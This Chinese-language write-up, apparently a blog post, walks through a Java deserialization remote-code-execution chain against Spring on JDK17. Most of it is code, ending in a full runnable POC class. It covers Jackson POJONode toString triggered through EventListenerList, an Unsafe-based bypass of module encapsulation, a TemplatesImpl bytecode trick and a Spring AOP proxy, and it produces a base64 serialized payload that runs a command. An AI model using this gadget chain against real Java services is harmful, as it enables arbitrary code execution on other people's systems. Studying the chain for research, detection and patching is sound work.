在pom.xml上添加Spring依赖
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.3.4</version> <!-- 使用当前稳定版 -->
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.1-GA</version>
</dependency>
</dependencies>漏洞分析
ToString触发
我们知道一条jackson反序列化的链,在jackson中 POJONode##toString 方法可以调用getter方法,所以我们可以利用getter调 getOutputProperties 以此实现RCE,然后再找个地方去触发 POJONodetoString ,当时利用的是 BadAttributeValueExpException##readObject ,这是一个原生类,在 readObject 的时候就触发了 toString。
但是在JDK17中#BadAttributeValueExpException#的readobject方法已经没有toSting了
JDK17 #BadAttributeValueExpException# #readobject如下

JDK8 #BadAttributeValueExpException# #readobject如下

可以明显看到缺少了val = valObj.toString();
但是我们知道一个新入口EventListenerList#readObject,利用字符串与对象的拼接触发 toString
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}JDK高版本模块检测绕过
从 JDK 9 开始,Java 引入了 JPMS ( Java Platform Module System ,模块系统),在 JDK 17 里,这一机制已经被完全强化。
具体表现为如下:
- 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17,这些类已经被模块系统强封装,默认不可访问。
- 强封装机制:模块之间的可见性由 module- info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问
- 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 - add- opens 参数开放模块或者使用 Java Agent/Instrumentation 来打破封装
因此,jdk17 会进行模块检测导致我们无法直接利用 getOutputProperties。那么如何在JDK17绕过模块检测。核心就是利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装。
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz != null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}然后还有一个问题,在以往我们利用 TemplatesImpl 的时候,被利用的目标都需要继承AbstractTranslet ,但在高版本下肯定是不行的,因为必然涉及到模块化的检测导致报错。这个问题比较简单解决。只需要设置_transletIndex不为-1,然后_bytecodes传入两个字节码即可绕过继承AbstractTranslet 限制。
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("xuanxuan").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);Jackson Getting触发不稳定
JdkDynamicAopProxy 可以用于解决jackson中的getter稳定触发问题
//解决getting稳定触发
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws
Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}最终POC
package org.example;
import javax.swing.event.EventListenerList;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
//高版本JDK17下的Spring原生反序列化
// 添加命令行启动
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
//--add-opens=java.base/java.lang=ALL-UNNAMED
//--add-opens=java.base/java.io=ALL-UNNAMED
//--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
//--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
//--add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
//删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode =
pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader =
Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<> ();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
//===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("xuanxuan").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
String serialize = serialize(eventListenerList, true);
deserialize(serialize);
}
public static String serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag)
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static void deserialize(String s) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
ObjectInputStream oos = new ObjectInputStream(byteArrayInputStream);
oos.readObject();
}
//解决getting稳定触发
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws
Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"open -a Calculator.app\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws
Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
// 取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发
// toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class,
undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz != null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws
Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i ++ ) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws
Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
注意需要添加命令行启动
 ](http://www.ysfssb.com/usr/uploads/2026/01/3128222219.png)
 ](http://www.ysfssb.com/usr/uploads/2026/01/2218478019.png)